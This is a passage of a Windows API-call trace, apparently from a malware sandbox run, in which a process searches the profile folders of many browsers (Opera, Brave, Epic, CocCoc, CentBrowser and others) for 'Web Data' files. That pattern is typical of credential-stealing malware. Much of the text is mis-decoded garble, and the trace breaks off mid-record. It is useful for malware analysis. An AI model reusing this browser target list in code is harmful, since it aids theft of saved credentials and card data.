Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍਍㉛㄰ⴷ⹇疘⹣疘⹇疘⹣疘桃潲敭映볃⁲敄歳潴⵰潃灭瑵牥਍瑨灴㩳⼯睷⹷潧杯敬挮浯椯瑮⽬敤振牨浯⽥牢睯敳⽲敤歳潴⽰湩敤⹸瑨汭਍਍㉛㄰ⴷ㘰〭‵㄰㔺㨲㈳⁝楓湧椠敢⁩潈浴楡ⱬ传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ƞꢅ펀\x18Ɩꢅ펈\x18⹼疘Љ") returned 8 [0061.761] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.761] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.761] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\") returned 0x3e [0061.761] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕䠈眺@") returned 8 [0061.761] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.761] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.761] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\") returned 0x3b [0061.761] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕䠈眺@") returned 8 [0061.761] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.761] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.761] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x47 [0061.761] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕䠈眺⹇疘⹣疘⹇疘⹣疘桃潲3\x14\x06") returned 8 [0061.761] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.762] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.762] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\") returned 0x3e [0061.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕䠈眺⹇疘⹣疘⹇疘⹣疘桃潲3\x14\x06") returned 8 [0061.762] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.762] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.762] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x46 [0061.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕䠈眺⹇疘⹣疘⹇疘⹣疘桃潲3\x14\x06") returned 8 [0061.762] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.762] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.762] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x40 [0061.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕䠈眺⹇疘⹣疘⹇疘⹣疘桃潲3\x14\x06") returned 8 [0061.762] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.762] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.762] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x4c [0061.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡摳晥ㅟ਍眕䠈眺⹇疘⹣疘⹇疘⹣疘桃潲3\x14\x06") returned 8 [0061.762] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.763] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.763] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\") returned 0x35 [0061.763] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.763] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.763] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.763] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x46 [0061.763] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.763] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.763] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.763] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x43 [0061.763] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d148, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䡜獩潴祲䝜潯汧䍥牨浯彥敄慦汵⹴硴潴汧⹥潣⽭灵慤整⼲湩瑳污敬獲振楬正湯散䜯潯汧䥥獮慴汬牥摟⹥灡汰捩瑡潩㽮灡杰極╤䐳㜥㡂㙁䐹㐳ⴵ㕄㐶㐭㌶ⵃ䙁ㅆ䄭㤶㥄㕅〳㥆┶䐷㈥椶摩㌥╄䈷㠶㔵䌴㄰䔭㡃ⴰ㜲䔵䐭䐸ⴹ䉅ㄳ䔸ぅ㉂㐴㜥╄㘲慬杮㌥摄╥㘲牢睯敳╲䐳┲㘲獵条獥慴獴㌥い㈥愶灰慮敭㌥䝄潯汧╥㔲〲桃潲敭㈥渶敥獤摡業╮䐳牰晥牥╳㘲灡㌥硄㐶猭慴汢ⵥ瑳瑡") returned 8 [0061.763] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.763] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.763] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x702cc4, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x43 [0061.763] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, 